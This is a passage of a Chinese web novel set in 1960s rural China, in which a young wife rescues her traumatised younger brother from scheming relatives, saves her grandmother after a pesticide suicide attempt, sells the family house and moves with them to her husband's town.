“正好你中午那顿药还没吃就睡了,现在吃上。”二老太太出去端了个药碗进来。
严继刚一见脸就垮了,但还是乖乖接了过来,努力往下咽,中间有好几次都差点吐了出来。
严雪帮他顺着背,“慢慢喝,不着急。”
二老太太早就倒了杯水在一边等着,见他喝完立马递过来。
可惜看他皱着小脸,显然还是苦,祁放干脆打开包,递了块饼干给他。
“吃吧。”严雪帮他接过来,还伸出手在下面帮他接着饼干渣。
严继刚却没有急着吃,而是先在她摊开的掌心上写了两个字——“谢谢。”又看祁放,显然是跟祁放说的。
严雪心里软得一塌糊涂,干脆拉过祁放的手,也摊开,“你自己和他说。”
这还是严雪第一次主动拉祁放,为了让他摊开掌心,甚至揪住了他几根手指。
纤细和修长就这么纠缠在了一起,祁放有点想收紧掌心,看看严雪怀里病弱的小少年,又忍住了。
严继刚也不知道自己是不是看错了,好像这个高高的姐夫身上那层冷淡又少了些,鼓鼓勇气在对方手上也道了谢。
然后他就再次得到了一个摸头,“你姐姐还给你准备了东西。”
这让严继刚忍不住看向了严雪,眼里又是惊喜,又是期待。
“现在还不能告诉你。”严雪故意和他卖关子,“等你好了,跟姐姐回去,自然就知道了。”
严继刚小脸上显然有失望,却没追着不放,反而紧紧搂住了姐姐。
真的是很乖的孩子,乖得让人心疼他所经历的一切。
那碗药里应该是有安神的成分,不多久,严继刚眼皮便开始打架。
严雪见他硬撑着不睡,拍拍他,“我不走,我这次跟你姐夫回来,就是来接你的。”
可严继刚还是不想睡,就那么望着她,手紧紧抓着她。
严雪想了想,干脆用一种说悄悄话的语气,贴近了问他:“那你告诉姐姐,你看到什么了。”
上次那是没办法,但有一些问题,能从根源上解决最好还是从根源上解决。
严继刚现在连二老太太这屋的窗户都害怕,可这一路又是车又是船,哪个没有窗户?新家也不可能没有窗户。
严继刚听了,果然瑟瑟发起抖来,大眼睛里也流露出恐惧。
他张开嘴急切地想要说什么,却除了“啊啊”什么也发不出来。
“没事,姐姐在这呢。”严雪赶忙拥紧他,“说不出来咱们可以写,不着急。”
严继刚立马拉过她的手,飞快落在上面。
好半晌,严雪才依稀辨认出两个字——“有鬼”。
她心和眼同时一沉,抬眸时,发现祁放也在看她,眸里有着凉意。
严雪拍拍怀里的弟弟,“可是世界上根本没有鬼啊,继刚你是不是看错了?”
严继刚摇头,又拉住她的手要写。
严雪声音愈发温柔,却笃定,“世界上真的没有鬼,不信你问你姐夫,他可是大学生。”
这个祁放还没跟严雪说过,闻言立马看过来一眼。
但想想严大小姐说过回研究所,她还跟严大小姐单独相处过,或许是严大小姐透的口风,他也没深究,坐到了严继刚对面,“世界上的确没有鬼,很多大家以为是鬼的传说,要么是骗术,要么就是不懂科学自己吓自己。”
他给严继刚举了个例子,“比如人们常说的鬼火,就是尸体腐烂的过程中,骨骼中的磷元素转化成的磷化氢接触到空气,与空气中的氧气发生氧化反应而引起的自燃。”
祁放神色冷淡,嗓音也淡淡的,说起这些的时候,天然就带有一种不科学退散的气质。
严继刚听得愣愣的,好半晌,才拉过严雪的手写字。
这回有字不会写,他用了拼音,严雪在脑子里组织了一下,“你说鬼打墙啊?自己吓自己的。”
她摸摸小少年的腿,“人本来就右腿比左腿有劲,天黑了看不见,当然会打圈。不信你闭上眼睛去地上走几步,保证不是直线。”
她说得煞有其事,旁边祁放还冷淡点了点头,严继刚迷茫了,难道真是他看错了?
见小少年露出这种表情,严雪暗暗松了一口气,又再接再厉问:“你看到的那个鬼,跟人一个形状吧?”
严继刚迟疑着点了点头。
“那有没有你姐夫这么高?”严雪好像很好奇。
严继刚摇摇头,她又笑起来,“总不能像我这么矮吧?”
严继刚再次摇头,这回还伸手往上比划了一截。
严雪心里有了数,连眼睛都弯了起来,“原来鬼也有个子高矮啊,我还以为都是在天上飘呢。”
一听她说在天上飘,严继刚更迷茫了,好像他看到那个“鬼”的确没有飘起来。
严雪拍拍他的背,“估计是你看错了,要不就是谁跟你开玩笑,故意吓唬你玩呢。”
严继刚对世界上到底有没有鬼已经很怀疑了,喝了药又困,不多会儿终于被她拍睡了过去。
二老太太轻轻将人接过去放在枕头上,叹气,“还是得读书,像我这样睁眼瞎,继刚想说啥也不知道。”
“那是您生的年代不好,要放现在,不就能念书了?”
“那也不好说。”
姑娘家想读书,那得看运气。严雪堂伯家那闺女也没比她大几岁,还不是天天在家里纺花,一天学没去上?
二老太太没多说,安置好孙子就催严雪和祁放,“你俩也去洗洗换身衣裳,这一路过来挺热的吧?”
“是挺热的,我感觉自己都要酸了。”严雪在自己身上闻了闻。
两人正要出门,二老太太又叫住严雪,压低声音,“继祖前天认的亲,日子定在下个月。”
二老太太是明白人,严雪也是,多了不用说,她已经心知肚明。
她只问了一句话:“还是之前那个吗?”
二老太太点头,“年前就说要结,开春看了几个地方盖房子,都没看中。”
严雪就没再说什么,出去打了水找地方擦身。
到底抱了个九、十岁的孩子大半天,端起水盆的时候,严雪胳膊软了下。
没等她稳住,旁边男人已经伸手接了过去,神色清淡,“你打算怎么办?”
这也是个明白人,显然清楚二老太太和严雪说那些是什么意思。
怎么这么巧?这边严继祖想结婚,看了几个地方都没看中,那边严继刚就出事了。
而且他们也未免太急了点,严继刚这才搬出来,就迫不及待把婚定了把亲认了。
严雪笑容里难得带上了嘲讽,“我家这些破事是不是挺让人糟心?”
“还好,”祁放放下水盆,又把要换的衣服递给她,“我家也没好到哪去。”
严雪这才想起来这位还是个悲情角色来着,不仅英年早逝,跟家里的关系也一直都很紧张,直到生命将尽,才放下心结。
正想说点什么,外面严松山和严继祖从地里回来了。
严雪眼一沉,再顾不上其他,匆匆梳洗完,换上衣服走了出去。
院内严松山父子刚把割麦子的镰刀挂在墙上,正舀了水去门口涮脚上的泥,见到严雪,严松山倒能稳得住,还笑着问她:“小雪回来了?”
又关切道:“你回来得正好,继刚这两天不太好。也不知道是不是半年没看到姐姐,想你想的。”
看这话说得多漂亮,他是那个关心晚辈的长辈,而严雪是那个丢下弟弟半年不管的姐姐。
而且叫他这么一说,严继刚生病也不是受到了惊吓,而是因为严雪狠心丢下弟弟半年不管,责任在严雪。
严雪笑笑并没有反驳,然后走上去,“啪”一个耳光扇在了严继祖脸上。
严继祖长得并不算高大,但一米七也是有的,又是常年在地里劳动的庄稼汉,谁也没有想到严雪娇娇小小,竟然会对他动手。
严松山脸当时就沉了,严继祖反应过来后更是大怒,跳起来就要来打她,“你他娘找死!”
然而有人比他的巴掌更快,抓住他的手臂便是一折。
严继祖还没从那股疼痛中缓过来,另一边脸上已经结结实实挨了第二下,还是严雪。
严雪手都被震麻了,也只是甩了甩,望着严继祖,“我为什么打你,你应该心里有数吧?”
不等严继祖开口已出声打断,“别跟我说你不知道继刚怎么吓着的,被谁吓着的。”
见对方表情明显一滞,她冷笑,“当时院门已经锁了,继刚说家里有鬼,就在窗户外,还只比我高大半个头,你当我是傻子?”
严松山个子不矮,有将近一米八,但几个孩子可能都随了白秀珍,长得并不算高,尤其是老大严继祖。
严继刚拿手一比,严雪就猜到是谁了,就等着严继祖从地里回来,在这大门口发作。
农村不到晚上院门可是不关的,这边一闹起来,外面立马有人围观。严松山脸都气青了,“胡闹也得有个限度,就算你心疼继刚,也不能拿继祖撒气!继刚吓着根他有什么关系?”
说着还去扯祁放扣着严继祖的手,“她女人家不懂事!你也跟着她不懂事!”
说男人怕老婆,那可是很丢人的,尤其是在关内,在他们农村。
严松山估计祁放就是见严继祖要打严雪,下意识拦了下,听到这话肯定得放手。
结果祁放扭着人只是一转,就避开了他,还扭得严继祖嗷嗷叫痛,“那你们不该反省一下吗?”
严松山人都听懵了,他们反省?他们反省啥反省?
祁放淡淡瞥他一眼,“严雪嫁给我小半年,从不乱发脾气,又温柔,又贤惠。”
所以又温柔又贤惠的严雪发脾气了,那一定是他们的错。
这回不仅严松山,院外的邻居们都听懂了,别说,好像还真有那么点道理。
毕竟小雪平时见谁都笑盈盈的,嘴巴也甜,除了要赔偿金那次,哪发过这么大火。
这时候白秀珍也听到动静从里面出来了,一见这场景,立马过来扑打祁放,“你疯了!快放开俺家继祖!”
严雪顺势拉了把男人,让他放人,嘴上却也没闲着,“这第二巴掌,是打当初我爸过世,你鼓动继刚去看我爸。”
严继祖胳膊被扭了半天,疼得正呲牙咧嘴,闻言倏然抬头,眼睛里难掩震惊。
外面听热闹的人更是齐齐倒吸一口冷气。
谁都知道严继刚会落下口吃的毛病,是因为看到了严柏山血肉模糊的死状,被吓的。可谁也都以为那只是个意外,毕竟当时场面太乱了,没注意到个小孩子也属正常。
严雪却很清楚并不是那么回事,“那天我走的时候,就怕吓到继刚,千叮咛万嘱咐让他待在家里别乱跑,怕他不听,还把外面门给锁上了。”她望着严继祖,“但他是跳窗跑出去的,而当时只有你在家。”
白秀珍嫌晦气,根本没让儿子去,家里另几个小的也叫他看住了,不让乱跑。
严雪冷笑,“你明知道我爸是被砸死的,还让继刚去,你安的什么心?”
这下不只是吸气了,外面已经有议论声传来,听得严继祖脸上一阵青一阵红,“你、你少胡说八道!”
严松山面上也一片阴沉,“继祖结婚要用你们那房子,是我们钱给少了,你不满可以找我们谈,用不着给继祖扣屎盆子。”
这就是说严雪闹这一出,纯粹是因为价格没谈拢了。
“你们刚进门,是跟谁谈的?”祁放冷静指出他话里的漏洞。
严松山一噎。
严雪也懒得和他掰扯,直接看向严继祖,“那你敢发誓吗?”
她指指天,又扫一眼院内外众人,“就当着老天爷,当着大家的面发誓,如果当初是你撺掇继刚去的,如果你扮鬼吓唬过继刚,就让你生不出孩子,让你们这一家都生不出孩子,你敢吗?”
“那有什么不敢的?我没做过就是没做过!”严继组脸上神色几经变换,竟然真的举起了手。
可一句“我发誓”还没说出口,就被白秀珍死死拽住,“不行!你不能发这个誓!”
45 奶奶
长途汽车已经开出去了,这前不着村后不着店,哪有突然喊停车的。
车上人都投来了诧异的目光,严雪也不在意,执意挤开人走到车前面,“师傅麻烦你停一下车,我们有事必须回去。”
完全没管自己已经买了票,更没管如今身处哪里。
也好在这年代没有不让路上停车,司机最后还是让她下了。
祁放紧随其后,先把严继刚抱下来,又回去拿了东西,一句都没多问。倒是严雪又跟弟弟确认了一遍,“你确定奶奶那箱子里面是空的?”
严继刚点头,在她手上写:“奶奶开箱子找钱给我看大夫时看到的。”
二老太太那个大箱子严雪印象很深,说是当年两房分家时老太太分得的财产,用一把铜锁锁着,一直很神秘。
每次老太太偷偷拿出点什么给她和继刚做衣裳做鞋,或是贴补他们,总要看着箱子说:“奶奶家当厚着呢。”
就连这次走,她也是这么说的,连严雪留下的钱都不肯多要。但原来,那箱子竟然是空的吗?
也是,严家当初又不是大富大贵,又能有多少家当经得住老太太这么多年花?
严雪越走越快,严继刚到底年龄小,又才刚生过大病,实在跟不上,被祁放捞起来直接背到了背上。
二三十里地到县里,汽车又开出了一段路,三个人硬是只用了不到一个半小时就赶了回去。
抵达严家院门口的时候,严雪肺都在疼,伸手扶了一下门框,才勉强没有绊倒。
刚进院就听到白秀珍一边扫鸡粪一边指桑骂槐,“养条狗还知道看家呢,一天天水伺候着,饭伺候着,关键时候学会啄人了。这么能耐咋不飞别人家去?蛋都让自己方没了还不赶紧点……”
这句“蛋都方没了”简直是在戳二老太太心窝子,谁不知道她自己的两个孩子早夭,好不容易过继一个儿子也没保住。
而且什么叫赶紧点?赶紧点什么?
严雪一个眼神扫过去,“你闭嘴!”没等白秀珍问出他们咋又回来了,已经快步进去。
大热的天,正房西屋竟然门窗紧闭,也不知道是不是不想听到白秀珍那些话,严雪推了一下,还发现门被从里面插上了。
“奶奶!”她敲了敲门,“奶奶我又回来了,有点事想跟您说!”
连敲数下,里面都没人应声,安静得让人心慌。
严雪急了,开始哐哐拍门,“奶奶!奶奶你听到了没有?听到应我一声!”
“你脑子有病吧?回来砸谁门呢?”白秀珍气冲冲从外面跟进来。
严雪却哪里有心思管她,四处找着东西开门。
“我来。”祁放已经将严继刚放下,过来拉开严雪,一脚踹了上去。
老实木的门竟然还挺结实,踹到第二脚,里面的插销才终于被崩开。
白秀珍简直要气死了,“你们这砸谁家房子呢?还有没有天理了!”严雪却已经冲了进去,“奶奶!”
不仅严雪,严继刚也跑了进去,不多会儿里面传出小少年带着含糊字眼的哭泣声。
白秀珍终于觉出不对了,上前往里一看,腿也有些软,“咋、咋会这样?”
二老太太一身紫色衣裳躺在炕上,腰带没有系,扣子没有扣,只虚虚搭着,头上还戴着顶瓜皮小帽,分明是死人才会穿的装老衣裳。
严雪离得近,还能看到老太太发紫的嘴唇和嘴角的白沫,不远处的炕上还立着个农药瓶。
她脑袋“嗡”地一声,赶忙扶了下炕沿,去摸二老太太的呼吸,“没事,还有气。”
这句话也不知道是在安慰彻底慌了神的严继刚,还是在安慰自己。
严雪又去看那个农药瓶,有一只手却比她更快,先拿了起来。
“是有机磷的敌敌畏。”祁放迅速扫了一眼,说,“送医来不及了,先想办法灌水催吐。”
从严家庄到县里二三十里路,就算有牛车也要用上不少时间,的确来不及。
严雪刚要起身,祁放已经转身出去,不多久拿了个装满水的大碗进来,“你捏。”
严雪明白他的意思,捏开二老太太的牙关,男人立即将一碗水灌了进去。
正要出去继续倒,严继刚跌跌撞撞又端了一碗进来,“水……奶……”
祁放什么都没说,接过去继续灌,只在瞥见呆站在一边的白秀珍时冷冷喝了句:“还不快去找车?”
白秀珍这才像大梦方醒,赶忙往外跑,“我这就去!”
别看她嘴上说得凶,二老太太真要死在她面前,还是以这种方式,她还是有些怕的。
而且好好的人突然就喝了药,好说不好听,村里到时候还不知道要怎么传他们家。
连续三碗水灌下去,二老太太总算出现了要呕吐的症状。
屋里就有痰盂,祁放立马端起来,严雪则赶紧把人扶了过去。
等二老太太吐完,继续灌,白秀珍带着找来的马车回来时,老太太已经吐过两遍了。
祁放把人抱上车,几人匆匆赶到县医院,医生一看就知道是怎么回事,“喝的六六六还是敌敌畏?”
“敌敌畏。”
医生也就去开了阿托品配上,通过静脉推注,推了1ml进去。
这东西治疗敌敌畏中毒最有效,轻中度肌肉注射就行,老太太这是严重,才用了静脉推注。
推完又翻翻老太太的眼皮,听了听老太太的心跳,医生脸色总算松了松,“没啥大事了,过会儿我再给打一针。”
所有人都松了一大口气,严雪忙和对方道谢,医生摆摆手,“也是你们发现得及时,还立即催了吐,不然能不能救回来还真不好说。”
想起老太太身上还穿着寿衣,到底忍不住多说了句:“老人家岁数大了,能让着点就多让着点吧。”
他也是这种事见多了,每年十里八乡都要出几个喝药的、上吊的、投井的,多是因为儿孙不养。
孝顺父母说是传统美德,但能延续上千年,说到底还是因为家里的财产都握在老人手里,只有老人死后才会分家。每个人分多分少也全看老人的喜好,当然得尽可能孝顺老人,讨老人的欢心。
现在进入小家庭模式,老人手里没了财产,又没了劳动力,晚年日子好不好过,全看儿孙的良心,而良心这东西哪有那么靠得住。
严雪什么都没多说,一回去立马把老太太那身寿衣换下来,拿去烧了。
她其实并不是个没脾气的人,但平时很会控制情绪,这么外露还真不多见。祁放看看她绷起的俏脸,给火盆里又添了两把毛毛草。
回去时二老太太早都醒了,看到他们虚弱地叹气,“我都是半截入土的人了,还救我干嘛?”
“半截入土也还没入土吧?”严雪头一回跟她说话没了笑容,“再说您要是真没了,以后我知道了,只会觉得都是我害的。”
二老太太还真怕她会这么想,“这跟你有啥关系,是我自己活够了……”
严雪根本没听她后面那话,直接打断她,“那您就好好活着,跟我们一起走,反正您那身装老衣裳我也给您烧了。”
严继刚就泪汪汪站在炕边,闻言用力点头,还抓着老太太的手,很艰难地吐出几个字。
“您……要……不、不走……我……也不……走……我……陪着……您……”
实在太艰难,急得他汗湿了额头,也湿了二老太太的眼眶。
老人家闭闭眼,“我不能去,汉子、孩子还有你们爸妈,都被我方死了,我不能……”
这才是她不愿意走的真正原因,她明明关心姐弟俩,之前却不敢亲近的原因。
她甚至把这次严继刚受惊吓都怪到了自己头上,“要不是我,继刚也不会……你们还是别管我了……”
“那照您这么说,我是不是也得找瓶农药喝喝?”严雪再一次打断她。
二老太太一愣,严雪已经指指自己,“我,克死了亲爹、亲妈还有继父,就剩一个弟弟也差一点……”
“别瞎说!”老太太赶忙去捂她的嘴,手实在没有力气又垂落下来。
“那您也别瞎说。”严雪把她的手握住,“等您好了,我们就一起回去,正好我和祁放都上班,您帮我们看家。”
老太太还想再说什么,严雪已经站了起来,“现在您说了不算了,就算您不走,我也让祁放把您背走。”
祁放脸上还是没太多表情,但也没说什么,还给严雪递了杯水,“喝点再继续。”
这表现,好像严雪是正在训熊孩子的家长,而二老太太就是那惹了家长生气的熊孩子。
二老太太都不知道自己是该笑还是该气,“行了,你也别训了,吵得我脑瓜子疼。”
她能这么说,显然是不再执着于不跟他们走,严雪松了一口气,“那我可就去给您开介绍信了。”立马把这件事落实。
想想严松山一家要是宽厚点,老太太会摸蛋孵鸡仔,又不是没一点收入,哪至于走了绝路,又看看东边那两间厢房,“房子也卖了,省得还有人惦记着,整出这么多幺蛾子。”
二老太太留下,她好歹还得留一线,别把事情做太绝,他们走后全报复在老太太身上。
现在人都要跟着走了,她也不可能让老太太再回来,还有什么可顾虑的。
严雪说到做到,第二天就去给老太太开了介绍信,又放出风去要卖房。
农村收入低,很难有个现钱,卖贵怕没人买,她定得也不高,刚好一百块。
当初她欠队里的也就一百多,王家村赔偿了二百,她拼得头破血流,白秀珍和严松山肯拿出来给她看病的,也只有一百。
后来为了还钱,为了早点带弟弟走,她刚成年就把自己嫁了出去,收的彩礼还是一百。
白秀珍一听说,就知道严雪这是在恶心自己呢,立马跑来找严雪说理。
但严雪不想撕破脸,她都讨不到便宜,现在脸都撕破了,严雪能怼得她当场高血压。
白秀珍回去就直嚷嚷肝疼,严松山也沉着脸,但他不是白秀珍,非常会审时度势,“那就咱们买下来。”
“咱们还得买她的?”白秀珍简直不敢相信自己的耳朵,“咱自己家的房子,凭啥还得给她钱?”
“那你想自家院子里住进来别人?”严松山一句话把她问住了。
见她还是愤愤,严松山又补充上一句:“继祖那件事可是等不及了。”
这下白秀珍彻底没了话说,“这死妮子就是来克咱们的吧?她一回来就没好事,到现在我出去还有人在外面议论。”
实在不愿意面对严雪那张讨人厌的脸,干脆让严松山拿了钱过去,和严雪商量买房。
结果严雪一见是他们要买,立马涨了价,二百。
严松山够能沉得住气了,当时脸都沉了,“亲戚这事咱先不说,小雪啊,县里这么大两间房才卖二百,还是正房。”
严雪只是笑,“正因为咱们是亲戚,您不得照顾照顾我们孤儿寡母,多给点?不行就让继祖哥出,算他补偿我们的。”
严松山碰了个软钉子回去,“不行就找个人先帮咱们买了,回头再弄回来。”
“这能行吗?”白秀珍显然不放心,“万一房子买完,他们又后悔了?”
“不行就多少添点,不让人白干。”
结果严雪动作比他们更快,已经放出话去,这房子在大房这里值二百。
这下看房子的人一下子多了,一天要来好几个,也不知道是真想买,还是想倒一手高价卖给他们。
最终严松山还是买了,但只凑出了一百五的现钱,还试图和严雪讲价,“你也知道农村挣钱不容易,这你继祖哥已经没钱结婚了。”
“那简单啊,”严雪只是笑,“你打个欠条不就行了?”
正好二老太太心心念念死在家里,进祖坟,将来说不定还要送她回来和丈夫并骨,有了这张欠条,不论什么时候他们都占着理。
严松山当时表情极为好看,回去后白秀珍也不知道是疼得还是气得,当天连饭都没做。
剩下就是些家什了,二老太太挑了挑,能送人的全都送了人。
借着这个机会,她也走了几个地方,去和以前的旧相识告别,包括严雪的姑姥姥。
“您和姑姥姥以前就认识啊?”这严雪可从来没听两人提过。
“是认识,”二老太太说,“她刚嫁过来时就认识了,当时你爸刚去单家上学,很不适应,回来总哭。我不放心,过去看看,就认识了。”
可这严柏山也没提过,甚至以两人之前的生疏,严柏山知不知道这件事都不好说。
严雪望着二老太太,“那当年姑姥姥给我爸和我妈保媒……”
“也是我托的她。”二老太太叹气,“当年抗M援C征兵,每家都得最少出一个,当时你大伯身体不好,肯定不能叫他去,就叫你爸去了。他那娃娃亲一听,立马把亲退了,等他打完仗,你爷爷奶奶又不着急给他说亲,一直拖到了二十八。”
这年代二十八绝对是大龄青年了,再想找对象也不好找,这才大小伙子娶了个二婚带孩子的。
原来二老太太一直在默默关心这个过房儿子,给他操心,之所以不敢亲近他,只是觉得自己命格不好,怕连累到他……
以前总说封建社会吃人,封建社会吃人,严雪一直没什么感触,直到穿回这六十年代,看到村里老太太们的小脚。
小脚限制了她们的行走,不读书限制了她们的见识,她们被困在这一亩三分地,还要被束缚精神与思想。
严雪偎进了老太太怀里,“那您也给我们继刚操操心,给他挑个像我妈一样好的。”
“继刚才多大,你就着急给他娶媳妇?”老太太忍不住拍了一下她,眼里却掩不住欢喜。
这回再走,是真的走了,严雪拿着东西,祁放背着二老太太,严继刚则挎着个军绿色书包跟在一边。
四人一起迈进郭家院子的时候,郭大娘都愣了下,“人都接过来了啊?”
“是都接过来了。”严雪眉眼弯弯给她介绍,“这是我弟弟继刚,这是我奶奶。”
又给两人介绍郭大娘,“这是房东郭大娘,人可好了,可惜我们就要搬走了,我还有点舍不得。”
“就你会说话。”郭大娘被说得见牙不见眼,赶忙迎了几人进去,帮几人开门。
进到里面,严雪才发现她走时留下那些罐头瓶已经都被搬到了炕上,里面还生出了透明的菌丝。
一个二十出头的清瘦青年正坐在炕边,单手给一些受热不好的瓶子调整位置,右手手臂不自然地弯曲,竟然是郭长安。
一见几人,他立马低下了头,郭大娘脸上也露出些不自在。
严雪却没有看对方,而是望着炕上整齐排开的罐头瓶,很是惊喜的样子,“原种您也帮我培育上了?”
祁放也跟没注意到似的,只将二老太太放到地上,拉开椅子给她坐。
严继刚就更不会多看了,他也怕见生人,表面上看不太出来,手已经紧紧抓住了姐姐的衣角。
这让郭大娘松了一口气,“是长安帮着弄的,我哪懂这些。”
“那可多亏了您和长安,”严雪说,“我还想着我这么晚才回来,耽误了原种的培育可怎么办。”
见她领情,郭大娘脸上又有了笑容,“长安也是这么说的,时间不等人,能弄我们就帮着弄了。”
说着也不打扰几人,扶起郭长安,“那我们回去了,有用得着的地方就喊一声。”
郭长安那腿显然还吃不住力,但依旧抿紧唇走着,走得十分缓慢,严雪看他是个倔强性子,也没有贸然出手去扶。
对于要强的人来说,同情和怜悯也是一种伤害,他们更想要的是认可和佩服,想要被当成正常人一样看。
人一走,严继刚很明显地松了口气。
严雪笑着朝他招招手,从柜子里拿出一个铅笔盒,“看看这是什么。”
46 医生
严继刚听说还能继续和姐姐睡,却是连脸庞都亮了,特别乖地自己打水洗漱。
洗完往中间一钻,右边是姐姐,左边是姐夫,让他不禁把被子拉到了鼻子上。
“偷着乐什么呢?”严雪帮小少年把被子拉下来。
严继刚伸了手要写字,严雪却没有把掌心递给他,“说话吧,这里没外人。”
这让严继刚偷偷看了祁放一眼,有点紧张,又有点不好意思。
“没事,我刚跟你姐夫结婚的时候,你姐夫话比你还少。”严雪也笑盈盈瞥了男人一眼。
严继刚那眼睛眼见着就瞪大了,仿佛不敢相信有人话比他这个说话不利索的还少。
被两双很相似的眼睛望着,祁放滞了下,伸手摸摸严继刚的头,“没事,你说吧。”
严继刚也就磕磕绊绊开了口,“感、感觉……像、像……”
严雪眼神始终充满鼓励,祁放神色虽然冷淡,却也没有不耐烦,更没有嘲笑,他就继续说了下去,“像爸、爸爸……妈妈。”
说着一手牵住了严雪,又看看另一边的祁放,却没敢动作。
严雪被牵得心都软了,这孩子也没享受过多少有爸爸妈妈的日子,五六岁就没有了妈妈,八岁爸爸又过世了。
她不由望向祁放,正想用眼神提醒,祁放已经主动拉起了严继刚的小手。
这让严继刚脸一红,小身子都紧张得有一瞬间的僵硬。
但他嘴角的弧度却是怎么也压不下去,牵着严雪那只甚至还开心地晃了晃,又把两人的手都拉起来放在了自己身前。
“睡、睡觉。”
这回他说得大声多了,说完就闭上眼睛,表示自己要睡了,可严雪分明看到他眼睫毛还在颤。
这模样可爱极了,祁放看着,都不自觉把那只小手又握了握。
只是他跟严雪本就被同时拉着,这一动,指背立马擦过了严雪的指尖。
他一顿,不禁又看了严雪一眼。
严雪一开始并没有注意,但很快,有修长的手指缠住了她的小指。
这可是在继刚眼皮子底下,她立马望了过去。
黑暗中,男人一双桃花眼静静的,不仅没有松,甚至还紧上了三分。
严雪又去看弟弟。
小少年闭着眼,已经真有点睡着了,完全不知道两个不要脸的大人正在偷偷干什么。
严雪也就没有抽,被男人勾缠住的手指甚至也略微紧了下。
她知道男人看阳历牌是什么意思,就算当时不知道,过后一想也回过味来了。
别说七天早都过了,就是没过,不论是陪她回老家、给予她支撑还是主动提出接奶奶过来、和她一起抢回了奶奶一条命,都足够给他减刑了。严雪让继刚过来睡,只是单纯不放心弟弟,并没打算继续让他检讨。
这么想着,她也就勾勾小手指,还在男人指间挠了挠。
这个举动有点小调皮,还瘙得人心都跟着一起痒了,祁放感觉到,长指立即收拢。
严雪能明显感觉到他力道上的不同,放轻声,“你别把继刚弄醒了。”
男人不说话,只是翻过身,轻轻将她和严继刚一起揽进了怀里。
半夜,严继刚果然被噩梦惊醒,啊啊叫着大口大口喘气。
严雪立马伸手过来安抚他,和另一只大手碰上,却又默契地错开,各自轻拍。
对面屋里也传来放轻的脚步声,却没有靠近,等这边一切归于安静,又重新折了回去。
锅碗瓢盆得在搬家的正日子搬,尤其是锅,严雪第二天起了个大早回老房。
等严继刚跟着姐夫和奶奶过来的时候,浓稠的米粥、带着焦脆的烙饼都已上了桌,咸鸭蛋一切两半,蛋黄还在冒着油。
这丰盛的程度让他眼睛都瞪大了,还揉了揉,怀疑自己是不是没有睡醒,看错了。
严雪好笑地在他背上推了把,“快去洗手。”
小少年一溜烟跑到脸盆架边,真上了桌,又有些不太敢动筷。
二老太太也有些迟疑,拿着筷子看了半天,先把鸭蛋黄抠给了小孙子。
“吃吧。”严雪给两人都拿了饼,“我找人跟附近村子买的细粮,不过不多,平时还得吃苞米面。”
能吃苞米面也很好了啊,严继刚眨着大眼睛,虽然没说话,意思却全在脸上。
严雪拿筷尾刮刮他鼻子,“这边跟老家不一样,不产地瓜,粮食供应有七成都是苞米面,到时候非把你吃够了。”
严继刚不说话,只小心咬了口饼,又美美喝了口大米粥,幸福得眼睛都眯了起来。
他觉得他才不会吃够呢,苞米面可是实实在在的粮食,不比天天啃地瓜强?
二老太太到底是大人,想得更实在,“我跟继刚的户口,这边能落吗?”
严继刚一听,立马看了过来。
没有户口就没有供应粮,这个严雪已经想过了,“我俩先托人办个试试,实在不行,就暂时落在附近农村。虽然不在当地挣工分分不了粮,但可以花钱从大队买,比买个人手里的高价粮便宜。”
“我不要紧,先想办法给继刚办。”二老太太还是更关心孙子,“他该上学了。”
严雪也知道,“回头我就去问问郎书记,看这事好不好办。”
不过这事急不得,她们还是得先把东西搬了。严雪也拿上钱,去了隔壁郭大娘家。
这边临时工的工资一般分两个档,轻体力一天一块三毛二,重体力一天一块六毛八。
严雪在家属队季节工,就属于重体力,她本来想按轻体力给郭大娘钱,被郭大娘挡了。
“就是帮你看个火,能有多少活,你再这样就见外了。”
最终只又给了八块,加上之前那五块,平均一天一块钱。就这样,郭大娘送她出来的时候还说:“明天不用过来那么早,我岁数大了,早上也睡不着,顺便给你添把火。”
现在天热了,白天基本不用再烧火提升温度,只有早晚需要注意。
严雪和她道过谢,出来正碰上祁放将马车借了回来,后面还跟着小半个月未见的刘卫国,“回来了咋也不说一声?”
“这不事情多,还没顾得上。”严雪回去拿了几双棉线手套出来。
她跟祁放结婚时间不长,家当不多,借马车主要是为了拉她那些树头。
结果严继刚也跟着一起出来了,看意思是想帮她搬,严雪家可没有这么小的手套,又把人赶了回去。
“这你弟弟?”刘卫国也要了一双,边往手上戴边问。
严雪点头,“有空叫春彩他们过来找他玩。”
“没问题。”刘卫国一口应下,“正好卫斌成天嚷嚷跟两个姐姐玩没意思,想要个弟弟。”
“那我们家继刚可不敢跟着他一起淘,人刚来,还认着生呢。”
严继刚总不能一辈子不接触外人,但他这样,又怕遭到旁人的嘲笑,只能托亲近点的人家帮着照看下了。
刘家几个孩子都不错,刘春彩爽利,刘春妮腼腆,刘卫斌虽然淘气了点,但还是听管的,看他从不去河里滑冰就知道了。
这样的孩子,就算发现严继刚口吃,应该也不会笑话他,正好刘卫斌和严继刚还是同龄,也能玩到一起去。
几人一起动手,很快第一车就装完了,刘卫国这才拍拍手套,“你们当初盖那房子用了多少砖,你们还记得吗?”
谁闲着没事问人家盖房子,除非自己有需要,严雪看了他一眼,“你这是帮别人问的还是帮自己问的?”
祁放正准备带着驾车的师傅去新房,闻言更直接,“成了?”
“算是吧。”刘卫国摸了摸头,“三天前订的婚,准备在八月或者是九月挑个好日子结,反正采伐队上山前就办。”
这还真是够快的,祁放问问题永远一针见血,“你家提出的要订婚?”
“是,也不是。”刘卫国说,“我家里商量过,不是拿了棵老参给他们家送礼走关系吗?怕对方过后不认账,就想把这个算成彩礼。结果我妈还没开口,周文慧先提了。”
“提得不怎么顺利吧?”严雪总觉得以周父的性格,比起刘家的老参更想要个领导做亲家。
果然刘卫国点头,“她爸是还不乐意,她说她爸要是一定让她嫁去江家,她就去厂里讲讲他卖女儿的事。”
这样周父还怎么当这个副主任,就算当上了也有可能被撸下来,也只能妥协了。
但折腾一番肯定是免不了的,也好在江得宝闹了那一出,不和江家结这门亲的理由都是现成的,江家也说不出什么来。
其实还有更釜底抽薪的法子,毕竟周文慧的户口在知青点这边,她铁了心要跟刘卫国结婚,她家里也拦不住。
但不到万不得已,这一招不能用,这个点子严雪和祁放也不能给他们出。毕竟不经父母同意就扯证,也算是一种私奔了,会很容易被人说闲话,连刘家人的人品也会被人拿出来说道。
哪个好人家的姑娘会不经父母同意就扯证?哪个好人家的小子会一分钱不花,就拐了人家姑娘回去?
这年代毕竟不是几十年后,城市大,人口流动性强,关上门谁也不管谁,弄不好甚至会影响剩下几个孩子的婚事。
现在彩礼刘家出了,婚也定了,再有什么,那就是周家自己的问题了。
